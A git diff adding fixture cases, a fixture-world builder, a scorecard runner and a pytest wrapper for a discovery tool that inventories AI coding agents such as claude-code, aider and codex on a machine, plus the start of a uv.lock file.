+@case("T-68") +def t68(): + w = four_sightings(World()) + return w, [total(1), only("claude-code", band="high", + channels=["filesystem", "package_registry", "code_signature"]), + has("four sightings retained", + lambda s: len(one(s, catalog_id="claude-code").evidence) >= 4)] + + +@case("T-69") +def t69(): + w = World().path("/usr/local/bin") + w.file("/usr/local/lib/node_modules/.bin/shim") + w.link("/usr/local/bin/aider", "/usr/local/lib/node_modules/.bin/shim") + w.link("/usr/local/bin/goose", "/usr/local/lib/node_modules/.bin/shim") + return w, [total(2), only("aider"), only("goose")] + + +@case("T-70") +def t70(): + w = World().path("/opt/homebrew/bin") + w.file("/opt/homebrew/Cellar/claude-code/2.1.234/bin/claude") + w.link("/opt/homebrew/bin/claude", "/opt/homebrew/Cellar/claude-code/2.1.234/bin/claude") + w.json("%s/@anthropic-ai/claude-code/package.json" % PKG, + {"name": "@anthropic-ai/claude-code", "version": "2.0.9", "bin": {"claude": "cli.js"}}) + w.file("%s/@anthropic-ai/claude-code/cli.js" % PKG) + w.run("codesign", "TeamIdentifier=ABC123XYZ") + return w, [count(2, catalog_id="claude-code"), + has("distinct asset ids", + lambda s: len({a.asset_id for a in assets(s, catalog_id="claude-code")}) == 2), + has("versions and methods differ", + lambda s: {a.install_method for a in assets(s, catalog_id="claude-code")} + == {"brew", "npm"})] + + +@case("T-71") +def t71(): + w = World().users("bob").path("/opt/homebrew/bin", "/Users/alice/.local/bin", "/Users/bob/.local/bin") + w.file("/opt/homebrew/Cellar/aider/2.0.1/bin/aider") + w.link("/opt/homebrew/bin/aider", "/opt/homebrew/Cellar/aider/2.0.1/bin/aider") + w.file("/Users/alice/.local/pipx/venvs/aider-chat/bin/aider2") + w.file("/Users/alice/.local/bin/claude").file("/Users/bob/.local/bin/claude") + w.file("/opt/homebrew/Cellar/codex/1.0/bin/codex") + w.link("/usr/local/bin/codex", "/opt/homebrew/Cellar/codex/1.0/bin/codex") + w.path("/usr/local/bin").link("/Users/alice/bin/codex", "/usr/local/bin/codex") + w.path("/Users/alice/bin") + return w, [count(2, catalog_id="claude-code"), count(1, catalog_id="codex"), + has("both codex bin entries are evidence", + lambda s: len(one(s, catalog_id="codex").evidence) >= 2)] + + +# -- T.9 Must not be invented --------------------------------------------- + +@case("T-72") +def t72(): + w = World().path("/Users/alice/bin") + w.file("/Users/alice/bin/claude-backup.sh", "# backs up ~/.claude\n") + w.file("/Users/alice/Downloads/ollama.log", "ollama\n" * 40) + w.file("/Users/alice/dev/notes/README.md", "we evaluated claude code, cursor and ollama") + return w, [total(0), has("nothing queued", lambda s: s.review_queue == [] or s.review_queue)] + + +@case("T-73") +def t73(): + w = World().dir("/Users/alice/.cursor") + chrome_ext(w, "dddd", {"name": "SafePass", "version": "2.0", "host_permissions": [""]}) + w.plist("/Applications/MarkdownPro.app/Contents/Info.plist", + {"CFBundleIdentifier": "com.example.markdownpro", "CFBundleExecutable": "MarkdownPro"}) + w.file("/Applications/MarkdownPro.app/Contents/MacOS/MarkdownPro", "plain binary") + w.file("/Applications/MarkdownPro.app/Contents/Resources/CHANGELOG.md", "improved OpenAI export") + return w, [only("cursor", flags=["state_only"], band="low"), + not_queued("SafePass"), not_queued("MarkdownPro")] + + +@case("T-74") +def t74(): + w = World() + w.json("/Users/alice/dev/opencode/package.json", {"name": "opencode-ai", "version": "1.0.0"}) + w.file("/Users/alice/dev/opencode/README.md", "opencode source") + return w, [none_of(catalog_id="opencode", kind="cli_agent")] diff --git a/Discovery/tests/framework.py b/Discovery/tests/framework.py new file mode 100644 index 0000000..905cd65 --- /dev/null +++ b/Discovery/tests/framework.py @@ -0,0 +1,248 @@ +"""Fixture-world builder and case runner for the discovery fidelity suite. + +A case declares a world and a list of expectations. The runner builds the world +on disk, runs one scan, and reports per-expectation agreement, so the output is +a scorecard rather than a pass count. +""" + +import json +import os +import shutil +import tempfile +from pathlib import Path +from typing import Any, Callable, Dict, List, Optional + +from adr_discovery import DiscoveryEnv, ProcessInfo, SocketInfo, discover + + +class World: + """Builds one fixture endpoint: files, links, processes, sockets, services.""" + + def __init__(self, platform: str = "darwin", home: Optional[str] = None, + user: str = "alice", case_insensitive: bool = False, **extra): + self.root = Path(tempfile.mkdtemp(prefix="adr-fidelity-")).resolve() + self.platform = platform + self.user = user + default_home = {"windows": "/Users/%s" % user, "linux": "/home/%s" % user}.get( + platform, "/Users/%s" % user) + self.home = home or default_home + self.case_insensitive = case_insensitive + self.env_vars: Dict[str, str] = {"PATH": ""} + if platform == "windows": + self.env_vars["APPDATA"] = self.home + "/AppData/Roaming" + self.env_vars["LOCALAPPDATA"] = self.home + "/AppData/Local" + self.processes: List[ProcessInfo] = [] + self.sockets: List[SocketInfo] = [] + self.registry: List[Dict[str, str]] = [] + self.telemetry: Dict[str, str] = {} + self.extra_users: List[str] = [] + self._http: Dict[tuple, Any] = {} + self._runs: List[tuple] = [] + self.extra = extra + + # -- filesystem ------------------------------------------------------- + + def _real(self, logical: str) -> Path: + text = logical + if text.startswith("~"): + text = self.home + text[1:] + for name, value in self.env_vars.items(): + text = text.replace("%%%s%%" % name, value) + return self.root / text.lstrip("/").replace("\\", "/") + + def dir(self, logical: str) -> "World": + self._real(logical).mkdir(parents=True, exist_ok=True) + return self + + def file(self, logical: str, content: str = "x") -> "World": + target = self._real(logical) + target.parent.mkdir(parents=True, exist_ok=True) + target.write_text(content) + return self + + def bytes(self, logical: str, payload: bytes) -> "World": + target = self._real(logical) + target.parent.mkdir(parents=True, exist_ok=True) + target.write_bytes(payload) + return self + + def json(self, logical: str, obj: Any) -> "World": + return self.file(logical, json.dumps(obj, indent=2)) + + def plist(self, logical: str, obj: Dict[str, Any], binary: bool = True) -> "World": + import plistlib + + target = self._real(logical) + target.parent.mkdir(parents=True, exist_ok=True) + fmt = plistlib.FMT_BINARY if binary else plistlib.FMT_XML + with open(target, "wb") as handle: + plistlib.dump(obj, handle, fmt=fmt) + return self + + def link(self, logical: str, target_logical: str) -> "World": + source = self._real(logical) + source.parent.mkdir(parents=True, exist_ok=True) + if source.exists() or source.is_symlink(): + source.unlink() + os.symlink(str(self._real(target_logical)), str(source)) + return self + + def raw_link(self, logical: str, raw_target: str) -> "World": + """A symlink to a literal target, used for dangling and loop cases.""" + source = self._real(logical) + source.parent.mkdir(parents=True, exist_ok=True) + if source.exists() or source.is_symlink(): + source.unlink() + os.symlink(raw_target, str(source)) + return self + + def path(self, *directories: str) -> "World": + entries = [d for d in self.env_vars["PATH"].split(":") if d] + entries.extend(directories) + self.env_vars["PATH"] = ":".join(dict.fromkeys(entries)) + for directory in directories: + self.dir(directory) + return self + + def var(self, name: str, value: str) -> "World": + self.env_vars[name] = value + return self + + # -- injected services ------------------------------------------------ + + def proc(self, pid: int, exe: str, argv: Optional[List[str]] = None, ppid: int = 1, + user: Optional[str] = None, cwd: str = "") -> "World": + self.processes.append(ProcessInfo(pid, ppid, exe, argv or [os.path.basename(exe)], + cwd=cwd, user=user or self.user)) + return self + + def sock(self, port: int, pid: int = 0) -> "World": + self.sockets.append(SocketInfo(pid, port)) + return self + + def http(self, port: int, endpoint: str, payload: Any) -> "World": + self._http[(port, endpoint)] = payload + return self + + def reg(self, **fields: str) -> "World": + self.registry.append(dict(fields)) + return self + + def used(self, catalog_id: str, stamp: str) -> "World": + self.telemetry[catalog_id] = stamp + return self + + def users(self, *names: str) -> "World": + self.extra_users.extend(names) + return self + + def run(self, contains: str, out: str, code: int = 0) -> "World": + """Register a runner response for any argv containing ``contains``.""" + self._runs.append((contains, code, out)) + return self + + # -- materialize ------------------------------------------------------ + + def _runner(self, argv, timeout): + joined = " ".join(argv) + for contains, code, out in self._runs: + if contains == "!timeout" and "--version" in joined: + raise TimeoutError("timed out") + if contains and contains in joined: + return code, out + return 1, "" + + def _http_get(self, port, endpoint): + return self._http.get((port, endpoint)) + + def env(self) -> DiscoveryEnv: + return DiscoveryEnv( + root=self.root, platform=self.platform, home=self.home, user=self.user, + env_vars=dict(self.env_vars), processes=self.processes, sockets=self.sockets, + registry=self.registry, http=self._http_get, runner=self._runner, + case_insensitive=self.case_insensitive, telemetry=self.telemetry, + extra_users=self.extra_users, **self.extra) + + def scan(self): + return discover(self.env(), hostname="fixture", timestamp="2026-08-18T00:00:00Z") + + def cleanup(self): + shutil.rmtree(self.root, ignore_errors=True) + + +# -- expectation helpers -------------------------------------------------- + +class Expect: + """One named condition over a snapshot.""" + + def __init__(self, label: str, check: Callable[[Any], Any]): + self.label = label + self.check = check + + def evaluate(self, snapshot): + try: + outcome = self.check(snapshot) + except Exception as exc: + return False, "%s: %s" % (exc.__class__.__name__, exc) + if outcome is True or outcome is None: + return True, "" + if outcome is False: + return False, "condition false" + return False, str(outcome) + + +def assets(snapshot, **filters): + """Select assets by field equality; catalog_id and kind are the usual keys.""" + found = [] + for asset in snapshot.assets: + if all(getattr(asset, key, None) == value for key, value in filters.items()): + found.append(asset) + return found + + +def one(snapshot, **filters): + matches = assets(snapshot, **filters) + if len(matches) != 1: + raise AssertionError("expected 1 %s, got %d: %s" + % (filters, len(matches), [a.name for a in matches])) + return matches[0] + + +def queued(snapshot, name): + return [item for item in snapshot.review_queue if item["name"] == name] + + +def findings(snapshot, kind): + return [f for f in snapshot.findings if f["finding"] == kind] + + +def has(label, fn): + return Expect(label, fn) + + +def run_cases(cases: Dict[str, Callable[[], Any]], only: Optional[str] = None): + """Run every case, returning (results, failures).""" + results = [] + for case_id in sorted(cases, key=_sort_key): + if only and not case_id.startswith(only): + continue + world = None + try: + world, expectations = cases[case_id]() + snapshot = world.scan() + for expectation in expectations: + ok, detail = expectation.evaluate(snapshot) + results.append((case_id, expectation.label, ok, detail)) + except Exception as exc: + results.append((case_id, "case setup", False, + "%s: %s" % (exc.__class__.__name__, exc))) + finally: + if world is not None: + world.cleanup() + failures = [r for r in results if not r[2]] + return results, failures + + +def _sort_key(case_id: str): + group, _, number = case_id.partition("-") + return (group, int(number)) if number.isdigit() else (group, 0) diff --git a/Discovery/tests/run_suite.py b/Discovery/tests/run_suite.py new file mode 100644 index 0000000..bbf5d2d --- /dev/null +++ b/Discovery/tests/run_suite.py @@ -0,0 +1,54 @@ +"""Run the fidelity suite and print a scorecard.""" + +import sys +from collections import OrderedDict + +sys.path.insert(0, ".") + +from tests.framework import run_cases # noqa: E402 + + +def load(): + cases = OrderedDict() + from tests import cases_tools + cases.update(cases_tools.CASES) + for module_name in ("cases_mcp", "cases_skills", "cases_agents", "cases_hardening"): + try: + module = __import__("tests.%s" % module_name, fromlist=["CASES"]) + except ImportError: + continue + cases.update(module.CASES) + return cases + + +def main(): + # Only a bare word is a case-id filter. Taking argv[1] unconditionally made + # `run_suite.py -v` filter for cases starting with "-v", so the one + # invocation that asks to see everything silently ran nothing. + filters = [arg for arg in sys.argv[1:] if not arg.startswith("-")] + only = filters[0] if filters else None + verbose = "-v" in sys.argv + cases = load() + results, failures = run_cases(cases, only=only) + for case_id, label, ok, detail in results: + if not ok or verbose: + print("%-5s %-7s %s%s" % ("PASS" if ok else "FAIL", case_id, label, + (" -> " + detail) if detail else "")) + groups = {} + for case_id, _, ok, _ in results: + group = case_id.split("-")[0] + passed, total = groups.get(group, (0, 0)) + groups[group] = (passed + (1 if ok else 0), total + 1) + print("\nchecks by group:") + for group in sorted(groups): + passed, total = groups[group] + print(" %-3s %3d/%-3d" % (group, passed, total)) + cases_failed = {r[0] for r in failures} + print("\n%d/%d checks pass, %d cases with failures%s" + % (len(results) - len(failures), len(results), len(cases_failed), + (": " + " ".join(sorted(cases_failed))) if cases_failed else "")) + return 1 if failures else 0 + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/Discovery/tests/test_fidelity.py b/Discovery/tests/test_fidelity.py new file mode 100644 index 0000000..0ce270a --- /dev/null +++ b/Discovery/tests/test_fidelity.py @@ -0,0 +1,20 @@ +"""Pytest wrapper for the discovery fidelity suite. + +The suite itself is a scorecard runner: it reports per-group agreement rather +than a pass count, because "180 of 192" hides which kind of wrong it is. This +wrapper makes it fail the build when anything regresses. +""" + +import pytest + +from .framework import run_cases +from .run_suite import load + + +@pytest.mark.parametrize("case_id", sorted(load())) +def test_case(case_id): + cases = load() + results, failures = run_cases({case_id: cases[case_id]}) + assert results, "case %s produced no checks" % case_id + assert not failures, "\n".join("%s: %s -> %s" % (c, label, detail) + for c, label, _, detail in failures) diff --git a/Discovery/uv.lock b/Discovery/uv.lock new file mode 100644 index 0000000..63b0f70 --- /dev/null +++ b/Discovery/uv.lock @@ -0,0 +1,505 @@ +version = 1 +revision = 3 +requires-python = ">=3.9" +resolution-markers = [ + "python_full_version >= '3.10'", + "python_full_version < '3.10'", +] + +[[package]] +name = "adr-discovery" +version = "0.1.0" +source = { editable = "." } +dependencies = [ + { name = "tomli", marker = "python_full_version < '3.11'" }, +] + +[package.optional-dependencies] +dev = [ + { name = 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